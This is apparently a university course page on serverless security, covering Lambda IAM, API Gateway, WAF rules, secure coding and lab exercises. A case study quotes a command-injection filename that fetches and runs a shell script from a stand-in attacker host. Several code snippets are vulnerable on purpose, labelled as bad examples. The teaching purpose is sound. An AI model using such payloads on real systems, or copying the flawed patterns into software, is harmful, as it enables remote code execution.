Skip to content
CSY302 Week 07 Advanced

Master serverless security—from Lambda functions to API Gateway and WAF protection.

Cloud & Infrastructure Security

Track your progress through this week's content

Opening Framing

Serverless computing abstracts away servers entirely. You write functions, the cloud provider handles everything else—provisioning, scaling, patching, availability. This shift dramatically changes the security equation: you no longer worry about OS hardening or patching, but you inherit new risks around function permissions, event injection, and the expanded attack surface of managed service integrations.

The shared responsibility model shifts significantly with serverless. AWS manages the Lambda runtime, execution environment, and isolation between functions. You're responsible for your code, IAM permissions, input validation, secrets management, and application logic security. A single overprivileged Lambda function can compromise your entire cloud environment.

This week covers serverless architecture security, Lambda function hardening, API Gateway protection, web application firewalls, and secure coding practices for cloud applications. You'll learn to build secure serverless applications that leverage cloud-native security controls.

Key insight: With serverless, your code IS your attack surface. Every input is a potential attack vector.

1) Serverless Security Fundamentals

Understanding how serverless changes security responsibilities is essential for secure architecture:

Serverless Shared Responsibility:

TRADITIONAL EC2 vs LAMBDA:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  EC2 (IaaS)                    Lambda (FaaS)                │
│  ┌─────────────────────┐      ┌─────────────────────┐       │
│  │ Your Code           │ YOU  │ Your Code           │ YOU   │
│  ├─────────────────────┤      ├─────────────────────┤       │
│  │ Application Config  │ YOU  │ Function Config     │ YOU   │
│  ├─────────────────────┤      ├─────────────────────┤       │
│  │ Runtime/Middleware  │ YOU  │ IAM Permissions     │ YOU   │
│  ├─────────────────────┤      ├─────────────────────┤       │
│  │ Operating System    │ YOU  │ Dependencies        │ YOU   │
│  ├─────────────────────┤      ├─────────────────────┤       │
│  │ Network Config      │ YOU  │ Event Sources       │ YOU   │
│  ├─────────────────────┤      ├─────────────────────┤       │
│  │ Hypervisor          │ AWS  │ Runtime Environment │ AWS   │
│  ├─────────────────────┤      ├─────────────────────┤       │
│  │ Physical Security   │ AWS  │ Execution Isolation │ AWS   │
│  └─────────────────────┘      ├─────────────────────┤       │
│                               │ OS/Patching         │ AWS   │
│                               ├─────────────────────┤       │
│                               │ Physical Security   │ AWS   │
│                               └─────────────────────┘       │
│                                                             │
│  More YOU responsibility       Less YOU responsibility      │
│  but more control             but less control              │
└─────────────────────────────────────────────────────────────┘

SERVERLESS BENEFITS FOR SECURITY:
┌─────────────────────────────────────────────────────────────┐
│ ✓ No OS patching (AWS handles it)                           │
│ ✓ Automatic scaling handles DDoS                            │
│ ✓ Short-lived execution (less persistence)                  │
│ ✓ Micro-segmentation by default (function isolation)        │
│ ✓ Reduced attack surface (no SSH, no management ports)      │
│ ✓ Built-in high availability                                │
└─────────────────────────────────────────────────────────────┘

SERVERLESS SECURITY CHALLENGES:
┌─────────────────────────────────────────────────────────────┐
│ ✗ Expanded attack surface (many event sources)              │
│ ✗ Complex IAM (each function needs permissions)             │
│ ✗ Dependency vulnerabilities (your packages)                │
│ ✗ Third-party integration risks                             │
│ ✗ Limited visibility (no agents, short execution)           │
│ ✗ Cold start delays can impact security controls            │
│ ✗ Event injection attacks                                   │
└─────────────────────────────────────────────────────────────┘

Serverless Attack Surface:

Lambda Attack Vectors:

EVENT SOURCES (Input Vectors):
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  ┌──────────┐                                               │
│  │API Gateway│──► HTTP requests, headers, query params      │
│  └──────────┘                                               │
│                                                             │
│  ┌──────────┐                                               │
│  │   S3     │──► Object keys, metadata, content             │
│  └──────────┘                                               │
│                                                             │
│  ┌──────────┐                                               │
│  │   SQS    │──► Message body, attributes                   │
│  └──────────┘                                               │
│                                                             │
│  ┌──────────┐                                               │
│  │ DynamoDB │──► Stream records, new/old images             │
│  └──────────┘                                               │
│                                                             │
│  ┌──────────┐                                               │
│  │   SNS    │──► Message content, attributes                │
│  └──────────┘                                               │
│                                                             │
│  ┌──────────┐                                               │
│  │CloudWatch│──► Log data, scheduled events                 │
│  └──────────┘                                               │
│                                                             │
│  EVERY event source is a potential attack vector            │
│  Attackers control S3 object names, message content, etc.   │
└─────────────────────────────────────────────────────────────┘

COMMON SERVERLESS VULNERABILITIES:
┌─────────────────────────────────────────────────────────────┐
│ 1. Injection Attacks                                        │
│    - SQL injection via event data                           │
│    - NoSQL injection (DynamoDB)                             │
│    - Command injection                                      │
│    - SSRF via URL parameters                                │
│                                                             │
│ 2. Broken Authentication                                    │
│    - Missing authentication on API Gateway                  │
│    - Weak or exposed API keys                               │
│    - JWT vulnerabilities                                    │
│                                                             │
│ 3. Excessive Privileges                                     │
│    - Overpermissioned execution roles                       │
│    - Wildcard IAM policies                                  │
│    - Cross-function privilege escalation                    │
│                                                             │
│ 4. Sensitive Data Exposure                                  │
│    - Secrets in environment variables                       │
│    - Logging sensitive data                                 │
│    - Unencrypted data in transit                            │
│                                                             │
│ 5. Insecure Dependencies                                    │
│    - Vulnerable npm/pip packages                            │
│    - Outdated runtime versions                              │
│    - Malicious packages                                     │
└─────────────────────────────────────────────────────────────┘

Key insight: Every event source is an entry point. Validate and sanitize ALL input regardless of source.

2) Lambda Security Configuration

Proper Lambda configuration is the foundation of serverless security:

Lambda Execution Role (IAM):

PRINCIPLE: Least Privilege Per Function

BAD: Shared admin role for all functions
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
    }]
}

GOOD: Function-specific minimal permissions
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "ReadSpecificS3Bucket",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject"
            ],
            "Resource": "arn:aws:s3:::input-bucket/*"
        },
        {
            "Sid": "WriteSpecificDynamoDB",
            "Effect": "Allow",
            "Action": [
                "dynamodb:PutItem",
                "dynamodb:UpdateItem"
            ],
            "Resource": "arn:aws:dynamodb:us-east-1:*:table/orders"
        },
        {
            "Sid": "WriteCloudWatchLogs",
            "Effect": "Allow",
            "Action": [
                "logs:CreateLogStream",
                "logs:PutLogEvents"
            ],
            "Resource": "arn:aws:logs:*:*:log-group:/aws/lambda/order-processor:*"
        }
    ]
}

IAM BEST PRACTICES:
┌─────────────────────────────────────────────────────────────┐
│ ✓ One role per function (not shared)                        │
│ ✓ Specific actions (not s3:* or dynamodb:*)                 │
│ ✓ Specific resources (not Resource: "*")                    │
│ ✓ Use conditions where possible                             │
│ ✓ No iam:PassRole unless absolutely needed                  │
│ ✓ Regular permission audits                                 │
└─────────────────────────────────────────────────────────────┘

Lambda Security Settings:

Lambda Configuration Security:

VPC CONFIGURATION:
┌─────────────────────────────────────────────────────────────┐
│ When to use VPC:                                            │
│ - Accessing RDS, ElastiCache, internal resources            │
│ - Compliance requirements                                   │
│ - Network isolation requirements                            │
│                                                             │
│ When NOT to use VPC:                                        │
│ - Only accessing public AWS services                        │
│ - Cold start latency is critical                            │
│ - No internal resource access needed                        │
│                                                             │
│ VPC Security:                                               │
│ - Place in private subnets                                  │
│ - Use VPC endpoints for AWS services                        │
│ - Security groups limiting egress                           │
│ - NAT Gateway only if internet needed                       │
└─────────────────────────────────────────────────────────────┘

ENVIRONMENT VARIABLES:
┌─────────────────────────────────────────────────────────────┐
│ NEVER store secrets directly in environment variables       │
│ They are visible in console and API responses               │
│                                                             │
│ Options for secrets:                                        │
│                                                             │
│ 1. AWS Secrets Manager (recommended):                       │
│    import boto3                                             │
│    client = boto3.client('secretsmanager')                  │
│    secret = client.get_secret_value(SecretId='db-creds')    │
│                                                             │
│ 2. Parameter Store SecureString:                            │
│    client = boto3.client('ssm')                             │
│    param = client.get_parameter(                            │
│        Name='/app/db-password',                             │
│        WithDecryption=True                                  │
│    )                                                        │
│                                                             │
│ 3. Encrypted environment variables:                         │
│    - Use KMS to encrypt values                              │
│    - Decrypt at runtime                                     │
│    - Better than plaintext, but still visible               │
└─────────────────────────────────────────────────────────────┘

RESOURCE LIMITS:
┌─────────────────────────────────────────────────────────────┐
│ Memory: Set appropriate limit (128MB - 10GB)                │
│ - Affects CPU allocation                                    │
│ - Affects cost                                              │
│ - Set based on actual needs, not maximum                    │
│                                                             │
│ Timeout: Set appropriate timeout (1s - 15min)               │
│ - Shorter = faster failure detection                        │
│ - Limits resource consumption during attacks                │
│ - Default 3s is often too short for real work               │
│                                                             │
│ Concurrency: Set reserved concurrency                       │
│ - Prevents runaway scaling                                  │
│ - Protects downstream services                              │
│ - Can act as rate limiting                                  │
│                                                             │
│ aws lambda put-function-concurrency \                       │
│   --function-name my-function \                             │
│   --reserved-concurrent-executions 100                      │
└─────────────────────────────────────────────────────────────┘

CODE SIGNING:
┌─────────────────────────────────────────────────────────────┐
│ Ensures only trusted code runs:                             │
│                                                             │
│ 1. Create signing profile                                   │
│    aws signer put-signing-profile \                         │
│      --profile-name MySigningProfile \                      │
│      --platform-id AWSLambda-SHA384-ECDSA                   │
│                                                             │
│ 2. Sign code package                                        │
│    aws signer start-signing-job ...                         │
│                                                             │
│ 3. Configure Lambda to require signatures                   │
│    aws lambda create-code-signing-config \                  │
│      --allowed-publishers SigningProfileVersionArns=...     │
│                                                             │
│ 4. Attach config to function                                │
│    Rejects unsigned or untrusted code                       │
└─────────────────────────────────────────────────────────────┘

Key insight: Each Lambda function should have exactly the permissions it needs—no more. Review permissions regularly.

3) API Gateway Security

API Gateway is often the front door to serverless applications and requires careful security configuration:

API Gateway Security Controls:

AUTHENTICATION OPTIONS:
┌─────────────────────────────────────────────────────────────┐
│ IAM Authentication:                                         │
│ - Best for AWS-to-AWS communication                         │
│ - Uses Signature Version 4                                  │
│ - Tight integration with IAM policies                       │
│                                                             │
│ Cognito User Pools:                                         │
│ - Best for user authentication                              │
│ - JWT tokens                                                │
│ - Built-in user management                                  │
│ - MFA support                                               │
│                                                             │
│ Lambda Authorizers (Custom):                                │
│ - Maximum flexibility                                       │
│ - Custom token validation                                   │
│ - External identity providers                               │
│ - Complex authorization logic                               │
│                                                             │
│ API Keys:                                                   │
│ - NOT for authentication (identification only)              │
│ - Use with usage plans for throttling                       │
│ - Easy to leak, hard to rotate                              │
└─────────────────────────────────────────────────────────────┘

LAMBDA AUTHORIZER EXAMPLE:
exports.handler = async (event) => {
    const token = event.authorizationToken;
    
    try {
        // Validate JWT token
        const decoded = jwt.verify(token, process.env.JWT_SECRET);
        
        // Check permissions
        if (!decoded.permissions.includes('api:read')) {
            return generatePolicy('user', 'Deny', event.methodArn);
        }
        
        return generatePolicy(decoded.sub, 'Allow', event.methodArn, {
            userId: decoded.sub,
            role: decoded.role
        });
    } catch (err) {
        throw new Error('Unauthorized');
    }
};

function generatePolicy(principalId, effect, resource, context) {
    return {
        principalId,
        policyDocument: {
            Version: '2012-10-17',
            Statement: [{
                Action: 'execute-api:Invoke',
                Effect: effect,
                Resource: resource
            }]
        },
        context  // Passed to Lambda function
    };
}

API Gateway Protection:

Request Validation and Throttling:

REQUEST VALIDATION:
┌─────────────────────────────────────────────────────────────┐
│ Validate requests BEFORE they hit Lambda:                   │
│                                                             │
│ OpenAPI Schema Validation:                                  │
│ paths:                                                      │
│   /orders:                                                  │
│     post:                                                   │
│       requestBody:                                          │
│         required: true                                      │
│         content:                                            │
│           application/json:                                 │
│             schema:                                         │
│               type: object                                  │
│               required: [customerId, items]                 │
│               properties:                                   │
│                 customerId:                                 │
│                   type: string                              │
│                   pattern: '^[a-zA-Z0-9-]{36}$'             │
│                 items:                                      │
│                   type: array                               │
│                   minItems: 1                               │
│                   maxItems: 100                             │
│                                                             │
│ Benefits:                                                   │
│ - Rejects malformed requests at gateway                     │
│ - Reduces Lambda invocations (cost)                         │
│ - First line of defense against injection                   │
└─────────────────────────────────────────────────────────────┘

THROTTLING AND RATE LIMITING:
┌─────────────────────────────────────────────────────────────┐
│ Account-level limits:                                       │
│ - 10,000 requests/second (default)                          │
│ - 5,000 burst                                               │
│                                                             │
│ Stage-level throttling:                                     │
│ aws apigateway update-stage \                               │
│   --rest-api-id abc123 \                                    │
│   --stage-name prod \                                       │
│   --patch-operations \                                      │
│     op=replace,path=/throttling/rateLimit,value=1000        │
│                                                             │
│ Usage Plans (per API key):                                  │
│ - Rate limit per client                                     │
│ - Quota per day/week/month                                  │
│ - Throttle abusive clients                                  │
│                                                             │
│ Method-level throttling:                                    │
│ - Different limits per endpoint                             │
│ - Protect expensive operations                              │
└─────────────────────────────────────────────────────────────┘

CORS CONFIGURATION:
┌─────────────────────────────────────────────────────────────┐
│ Restrict cross-origin access:                               │
│                                                             │
│ # Secure CORS configuration                                 │
│ Access-Control-Allow-Origin: https://myapp.com              │
│ Access-Control-Allow-Methods: GET, POST                     │
│ Access-Control-Allow-Headers: Content-Type, Authorization   │
│ Access-Control-Max-Age: 86400                               │
│                                                             │
│ # INSECURE - never do this                                  │
│ Access-Control-Allow-Origin: *                              │
│                                                             │
│ Configure in API Gateway:                                   │
│ - Enable CORS on each resource                              │
│ - Specify allowed origins explicitly                        │
│ - Restrict methods and headers                              │
└─────────────────────────────────────────────────────────────┘

MUTUAL TLS (mTLS):
┌─────────────────────────────────────────────────────────────┐
│ Client certificate authentication:                          │
│                                                             │
│ 1. Create truststore in S3 (CA certificates)                │
│ 2. Enable mTLS on API Gateway                               │
│ 3. Clients must present valid certificate                   │
│                                                             │
│ Use cases:                                                  │
│ - B2B APIs                                                  │
│ - High-security internal APIs                               │
│ - Zero-trust architecture                                   │
└─────────────────────────────────────────────────────────────┘

Key insight: API Gateway provides multiple security layers. Use authentication, validation, and throttling together.

4) Web Application Firewall (WAF)

AWS WAF provides application-layer protection against common web attacks:

AWS WAF Architecture:

WAF INTEGRATION POINTS:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  Internet                                                   │
│      │                                                      │
│      ▼                                                      │
│  ┌──────────────────────────────────────────────────────┐   │
│  │                    AWS WAF                           │   │
│  │  ┌────────────────────────────────────────────────┐  │   │
│  │  │           Web ACL (Rules)                      │  │   │
│  │  │  - Managed Rules (AWS, Partners)               │  │   │
│  │  │  - Custom Rules                                │  │   │
│  │  │  - Rate-based Rules                            │  │   │
│  │  └────────────────────────────────────────────────┘  │   │
│  └──────────────────────────────────────────────────────┘   │
│      │                                                      │
│      ▼                                                      │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐                   │
│  │CloudFront│  │   ALB    │  │API Gateway│                  │
│  └──────────┘  └──────────┘  └──────────┘                   │
│      │              │             │                         │
│      ▼              ▼             ▼                         │
│  ┌──────────────────────────────────────────────────────┐   │
│  │              Your Application                        │   │
│  └──────────────────────────────────────────────────────┘   │
│                                                             │
└─────────────────────────────────────────────────────────────┘

WAF RULE TYPES:
┌─────────────────────────────────────────────────────────────┐
│ Managed Rule Groups:                                        │
│ - AWS Managed Rules (free + paid)                           │
│   - Core Rule Set (CRS)                                     │
│   - Known Bad Inputs                                        │
│   - SQL Database                                            │
│   - Linux/POSIX OS                                          │
│   - Admin Protection                                        │
│ - Partner Rules (F5, Fortinet, Imperva)                     │
│ - AWS Marketplace rules                                     │
│                                                             │
│ Custom Rules:                                               │
│ - Match specific patterns                                   │
│ - IP set matching                                           │
│ - Geo matching                                              │
│ - Size constraints                                          │
│ - Regex patterns                                            │
│                                                             │
│ Rate-based Rules:                                           │
│ - Block IPs exceeding threshold                             │
│ - Per 5-minute window                                       │
│ - Automatic blocking/unblocking                             │
└─────────────────────────────────────────────────────────────┘

WAF Rule Configuration:

WAF Rule Examples:

USING AWS MANAGED RULES:
Resources:
  WebACL:
    Type: AWS::WAFv2::WebACL
    Properties:
      Name: api-protection
      Scope: REGIONAL
      DefaultAction:
        Allow: {}
      Rules:
        # AWS Core Rule Set
        - Name: AWS-AWSManagedRulesCommonRuleSet
          Priority: 0
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesCommonRuleSet
          OverrideAction:
            None: {}
          VisibilityConfig:
            SampledRequestsEnabled: true
            CloudWatchMetricsEnabled: true
            MetricName: CommonRuleSet
        
        # SQL Injection Protection
        - Name: AWS-AWSManagedRulesSQLiRuleSet
          Priority: 1
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesSQLiRuleSet
          OverrideAction:
            None: {}

CUSTOM RATE LIMITING RULE:
- Name: RateLimitRule
  Priority: 2
  Statement:
    RateBasedStatement:
      Limit: 2000  # requests per 5 minutes
      AggregateKeyType: IP
  Action:
    Block: {}
  VisibilityConfig:
    CloudWatchMetricsEnabled: true
    MetricName: RateLimitRule

BLOCK SPECIFIC COUNTRIES:
- Name: GeoBlockRule
  Priority: 3
  Statement:
    GeoMatchStatement:
      CountryCodes:
        - CN
        - RU
        - KP
  Action:
    Block: {}

CUSTOM PATTERN MATCHING:
- Name: BlockSuspiciousUserAgent
  Priority: 4
  Statement:
    ByteMatchStatement:
      FieldToMatch:
        SingleHeader:
          Name: user-agent
      PositionalConstraint: CONTAINS
      SearchString: "sqlmap"
      TextTransformations:
        - Priority: 0
          Type: LOWERCASE
  Action:
    Block: {}

WAF Best Practices:

WAF Deployment Strategy:

RECOMMENDED APPROACH:
┌─────────────────────────────────────────────────────────────┐
│ 1. Start in COUNT mode (monitor, don't block)               │
│    - Deploy rules in count mode first                       │
│    - Analyze logs for false positives                       │
│    - Tune rules before blocking                             │
│                                                             │
│ 2. Use AWS Managed Rules as baseline                        │
│    - Core Rule Set for common attacks                       │
│    - SQL injection rules                                    │
│    - Known bad inputs                                       │
│                                                             │
│ 3. Add custom rules for your application                    │
│    - Rate limiting appropriate for your traffic             │
│    - Geo-blocking if applicable                             │
│    - Application-specific patterns                          │
│                                                             │
│ 4. Enable logging to S3/CloudWatch                          │
│    - Full request logging                                   │
│    - Analyze blocked requests                               │
│    - Detect attack patterns                                 │
│                                                             │
│ 5. Regular review and tuning                                │
│    - Review false positives                                 │
│    - Update rules for new attacks                           │
│    - Adjust rate limits based on traffic                    │
└─────────────────────────────────────────────────────────────┘

WAF LOGGING:
┌─────────────────────────────────────────────────────────────┐
│ Enable full logging:                                        │
│                                                             │
│ aws wafv2 put-logging-configuration \                       │
│   --logging-configuration \                                 │
│     ResourceArn=arn:aws:wafv2:...,                          │
│     LogDestinationConfigs=[arn:aws:s3:::waf-logs]           │
│                                                             │
│ Log fields include:                                         │
│ - Timestamp                                                 │
│ - Client IP                                                 │
│ - Country                                                   │
│ - URI                                                       │
│ - Headers                                                   │
│ - Rule matched                                              │
│ - Action taken                                              │
│                                                             │
│ Use for:                                                    │
│ - Attack analysis                                           │
│ - False positive identification                             │
│ - Compliance evidence                                       │
│ - Threat intelligence                                       │
└─────────────────────────────────────────────────────────────┘

Key insight: WAF is not set-and-forget. Regular tuning based on traffic patterns and false positives is essential.

5) Secure Coding for Cloud Applications

Application security fundamentals apply regardless of where code runs, but cloud adds specific considerations:

Input Validation:

VALIDATE ALL INPUT (Lambda Example):
// BAD: No validation
exports.handler = async (event) => {
    const userId = event.queryStringParameters.userId;
    const result = await dynamodb.get({
        TableName: 'users',
        Key: { userId }  // Direct use of input
    }).promise();
    return result;
};

// GOOD: Comprehensive validation
const Joi = require('joi');

const userIdSchema = Joi.string()
    .uuid()
    .required();

exports.handler = async (event) => {
    // Validate input
    const { error, value } = userIdSchema.validate(
        event.queryStringParameters?.userId
    );
    
    if (error) {
        return {
            statusCode: 400,
            body: JSON.stringify({ error: 'Invalid userId format' })
        };
    }
    
    // Use validated input
    const result = await dynamodb.get({
        TableName: 'users',
        Key: { userId: value }
    }).promise();
    
    return {
        statusCode: 200,
        body: JSON.stringify(result.Item)
    };
};

VALIDATION PRINCIPLES:
┌─────────────────────────────────────────────────────────────┐
│ ✓ Validate on server (never trust client validation)        │
│ ✓ Use allowlists over blocklists                            │
│ ✓ Validate type, length, format, range                      │
│ ✓ Reject invalid input (don't try to clean it)              │
│ ✓ Validate ALL sources (headers, query, body, path)         │
│ ✓ Use established validation libraries                      │
└─────────────────────────────────────────────────────────────┘

Injection Prevention:

Preventing Injection Attacks:

SQL INJECTION (Parameterized Queries):
// BAD: String concatenation
const query = `SELECT * FROM users WHERE id = '${userId}'`;

// GOOD: Parameterized query
const query = 'SELECT * FROM users WHERE id = ?';
const result = await db.query(query, [userId]);

NoSQL INJECTION (DynamoDB):
// BAD: Direct object from user input
const params = {
    TableName: 'users',
    FilterExpression: event.body.filter  // User controls expression!
};

// GOOD: Controlled expressions
const params = {
    TableName: 'users',
    FilterExpression: '#status = :status',
    ExpressionAttributeNames: { '#status': 'status' },
    ExpressionAttributeValues: { ':status': validatedStatus }
};

COMMAND INJECTION:
// BAD: Executing user input
const { exec } = require('child_process');
exec(`convert ${userFilename} output.png`);  // Shell injection!

// GOOD: Avoid shell, use arrays
const { execFile } = require('child_process');
execFile('convert', [validatedFilename, 'output.png']);

// BETTER: Don't execute commands with user input at all

SSRF PREVENTION:
// BAD: Fetching arbitrary URLs
const response = await fetch(event.body.url);

// GOOD: Allowlist of permitted hosts
const allowedHosts = ['api.trusted.com', 'data.partner.com'];
const url = new URL(event.body.url);

if (!allowedHosts.includes(url.hostname)) {
    throw new Error('Host not allowed');
}

// Also validate: no internal IPs, no localhost, no metadata service
const ip = await dns.resolve(url.hostname);
if (isInternalIP(ip)) {
    throw new Error('Internal addresses not allowed');
}

Dependency Security:

Managing Dependencies:

DEPENDENCY SCANNING:
┌─────────────────────────────────────────────────────────────┐
│ npm audit / pip audit / bundler-audit                       │
│                                                             │
│ # Node.js                                                   │
│ npm audit                                                   │
│ npm audit fix                                               │
│                                                             │
│ # Python                                                    │
│ pip install pip-audit                                       │
│ pip-audit                                                   │
│                                                             │
│ CI/CD Integration:                                          │
│ - Run on every build                                        │
│ - Fail on high/critical vulnerabilities                     │
│ - Use tools like Snyk, Dependabot                           │
└─────────────────────────────────────────────────────────────┘

LOCKFILE SECURITY:
┌─────────────────────────────────────────────────────────────┐
│ Always commit and use lockfiles:                            │
│ - package-lock.json (npm)                                   │
│ - requirements.txt with pinned versions (pip)               │
│ - Pipfile.lock (pipenv)                                     │
│                                                             │
│ # Pin exact versions                                        │
│ requests==2.28.1  # Good                                    │
│ requests>=2.28    # Bad - allows unexpected updates         │
│                                                             │
│ # Use npm ci in CI/CD (uses lockfile exactly)               │
│ npm ci  # Not npm install                                   │
└─────────────────────────────────────────────────────────────┘

LAMBDA LAYERS FOR DEPENDENCIES:
┌─────────────────────────────────────────────────────────────┐
│ Benefits:                                                   │
│ - Separate dependency updates from code                     │
│ - Smaller deployment packages                               │
│ - Share dependencies across functions                       │
│ - Scan layers independently                                 │
│                                                             │
│ Security approach:                                          │
│ 1. Build layer with vetted dependencies                     │
│ 2. Scan layer for vulnerabilities                           │
│ 3. Version and publish layer                                │
│ 4. Functions reference approved layer versions              │
│ 5. Update layer centrally when patches needed               │
└─────────────────────────────────────────────────────────────┘

Secure Logging:

Logging Best Practices:

WHAT TO LOG:
┌─────────────────────────────────────────────────────────────┐
│ ✓ Authentication events (success and failure)               │
│ ✓ Authorization failures                                    │
│ ✓ Input validation failures                                 │
│ ✓ Application errors                                        │
│ ✓ Business logic events (orders, transactions)              │
│ ✓ Request metadata (IP, user agent, request ID)             │
└─────────────────────────────────────────────────────────────┘

WHAT NOT TO LOG:
┌─────────────────────────────────────────────────────────────┐
│ ✗ Passwords (even hashed)                                   │
│ ✗ API keys or tokens                                        │
│ ✗ Credit card numbers                                       │
│ ✗ Social security numbers                                   │
│ ✗ Full request/response bodies (may contain PII)            │
│ ✗ Session tokens                                            │
└─────────────────────────────────────────────────────────────┘

STRUCTURED LOGGING:
const log = (level, message, context) => {
    console.log(JSON.stringify({
        timestamp: new Date().toISOString(),
        level,
        message,
        requestId: context.awsRequestId,
        functionName: context.functionName,
        ...context.additionalData
    }));
};

// Sanitize sensitive data before logging
const sanitize = (obj) => {
    const sensitiveFields = ['password', 'token', 'ssn', 'cardNumber'];
    const sanitized = { ...obj };
    sensitiveFields.forEach(field => {
        if (sanitized[field]) {
            sanitized[field] = '[REDACTED]';
        }
    });
    return sanitized;
};

log('INFO', 'User login', { 
    userId: user.id,
    ...sanitize(requestData)
});

Key insight: Your code is your last line of defense. WAF and API Gateway help, but secure coding is essential.

Real-World Context

Case Study: Event Injection Attack

A serverless application processed S3 events, extracting filenames and passing them to a shell command for image processing. An attacker uploaded a file named "test;curl attacker.com/shell.sh|bash;.jpg". The unsanitized filename was concatenated into a shell command, resulting in remote code execution. Though Lambda functions are ephemeral, the attacker used the function's IAM role to access other AWS resources. The fix: never use user-controlled data in shell commands, use parameterized operations, and apply least privilege IAM roles.

Case Study: Overprivileged Lambda Function

An organization gave all Lambda functions a shared execution role with broad permissions including s3:*, dynamodb:*, and secretsmanager:GetSecretValue. A vulnerability in one function allowed an attacker to read secrets from Secrets Manager, access all DynamoDB tables, and exfiltrate data from S3. Per-function roles with minimal permissions would have contained the blast radius to only the resources that specific function legitimately needed.

Serverless Security Checklist:

Serverless Security Checklist:

LAMBDA FUNCTIONS:
□ One IAM role per function (not shared)
□ Least privilege permissions
□ No wildcards in IAM policies
□ Secrets in Secrets Manager (not env vars)
□ Input validation on all event sources
□ Dependencies scanned for vulnerabilities
□ Timeout and memory limits set
□ Concurrency limits configured
□ VPC configuration if accessing internal resources
□ Code signing enabled

API GATEWAY:
□ Authentication configured (Cognito, Lambda authorizer)
□ Request validation enabled
□ Rate limiting and throttling
□ CORS properly configured (no *)
□ WAF attached with managed rules
□ Logging enabled
□ Custom domain with TLS

APPLICATION CODE:
□ All input validated and sanitized
□ Parameterized queries (no string concatenation)
□ No command execution with user input
□ SSRF prevention (URL allowlisting)
□ Secure error handling (no stack traces to users)
□ Structured logging without sensitive data
□ Dependencies pinned and scanned

MONITORING:
□ CloudWatch Logs for all functions
□ X-Ray tracing enabled
□ CloudWatch alarms for errors
□ WAF logging enabled
□ API Gateway access logs

Serverless doesn't mean security-less. The attack surface changes, but the need for defense in depth remains.

Guided Lab: Secure Serverless API

In this lab, you'll build a secure serverless API with authentication, validation, and WAF protection.

Lab Environment:

  • AWS account with Lambda, API Gateway, WAF access
  • AWS CLI or SAM CLI
  • Node.js or Python environment

Exercise Steps:

  1. Create Lambda function with minimal IAM role
  2. Implement input validation in function code
  3. Create API Gateway with request validation
  4. Configure Lambda authorizer for authentication
  5. Enable API Gateway throttling
  6. Create WAF Web ACL with managed rules
  7. Attach WAF to API Gateway
  8. Enable logging for Lambda and WAF
  9. Test security controls with malicious requests

Reflection Questions:

  • How do the security layers work together?
  • What happens when WAF blocks a request vs. Lambda validation?
  • How would you detect an ongoing attack?

Week Outcome Check

By the end of this week, you should be able to:

  • Explain the serverless shared responsibility model
  • Configure Lambda functions with least privilege IAM
  • Implement secure secrets management for Lambda
  • Configure API Gateway authentication and authorization
  • Enable API Gateway request validation and throttling
  • Deploy AWS WAF with managed and custom rules
  • Apply secure coding practices for serverless applications
  • Implement input validation and injection prevention

🎯 Hands-On Labs (Free & Essential)

Master serverless security—from Lambda functions to API Gateway and WAF protection.

λ TryHackMe: AWS Lambda Security

What you'll do: Exploit and secure Lambda functions—overprivileged roles, event injection, and secrets exposure.
Why it matters: Serverless functions are often the weakest link in cloud architectures.
Time estimate: 2-3 hours

Start Lambda Security Lab →

🛡️ AWS Skill Builder: API Gateway & WAF

What you'll do: Secure serverless APIs with API Gateway authentication, rate limiting, and AWS WAF rules.
Why it matters: APIs are the front door to your serverless applications—secure them first.
Time estimate: 2-3 hours

Open AWS Serverless Training →

🧪 OWASP ServerlessGoat: Vulnerable Lambda Practice

What you'll do: Attack intentionally vulnerable serverless applications—practice injection, broken auth, and data exposure.
Why it matters: OWASP Top 10 applies to serverless—learn how attacks manifest in Lambda.
Time estimate: 3-4 hours

Open ServerlessGoat →

💡 Lab Strategy: Always implement least-privilege IAM for Lambda—"lambda:*" on all resources is asking for trouble.

Resources

Lab

Complete the following lab exercises to practice serverless and application security.

Part 1: Lambda IAM Security (LO6)

Configure least privilege Lambda: (a) create function, (b) design minimal execution role, (c) test that function works, (d) verify function cannot access unauthorized resources.

Deliverable: Lambda configuration with IAM role policy and access test results.

Part 2: Input Validation (LO6)

Implement comprehensive validation: (a) create Lambda with API Gateway trigger, (b) implement input validation using schema library, (c) test with valid and invalid inputs, (d) verify injection attempts are blocked.

Deliverable: Function code showing validation and test results for various attack payloads.

Part 3: API Gateway Security (LO6)

Secure API Gateway: (a) create REST API, (b) configure Lambda authorizer, (c) enable request validation, (d) configure throttling, (e) test authentication and rate limiting.

Deliverable: API Gateway configuration with authorizer and test results.

Part 4: WAF Configuration (LO6)

Deploy WAF protection: (a) create Web ACL, (b) add AWS managed rules, (c) add rate limiting rule, (d) attach to API Gateway, (e) test that attacks are blocked.

Deliverable: WAF configuration and logs showing blocked attack attempts.

Part 5: Secure Secrets (LO6)

Implement secrets management: (a) store database credentials in Secrets Manager, (b) update Lambda to retrieve secrets, (c) configure IAM for secret access, (d) verify secrets not exposed in logs or environment.

Deliverable: Secrets Manager configuration and Lambda code showing secure retrieval.

Checkpoint Questions

  1. How does the shared responsibility model differ for Lambda compared to EC2? What security tasks move to AWS?
  2. Why is least privilege especially important for Lambda functions? What's the risk of shared execution roles?
  3. What are the authentication options for API Gateway? When would you use each?
  4. Explain how AWS WAF managed rules work. How do you tune them to reduce false positives?
  5. Why is input validation in Lambda code still necessary even with API Gateway validation and WAF?
  6. What are the risks of storing secrets in Lambda environment variables? What alternatives exist?

Week 07 Quiz

Test your understanding of Serverless Security, API Gateway, and WAF.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Weekly Reflection

Serverless computing shifts security responsibilities but doesn't eliminate them. This week explored securing serverless applications from multiple angles.

Reflect on the following in 200-300 words:

A strong reflection demonstrates understanding of how serverless changes the security equation while requiring continued attention to application security fundamentals.

Verified Resources & Videos

← Previous: Week 06 Next: Week 08 →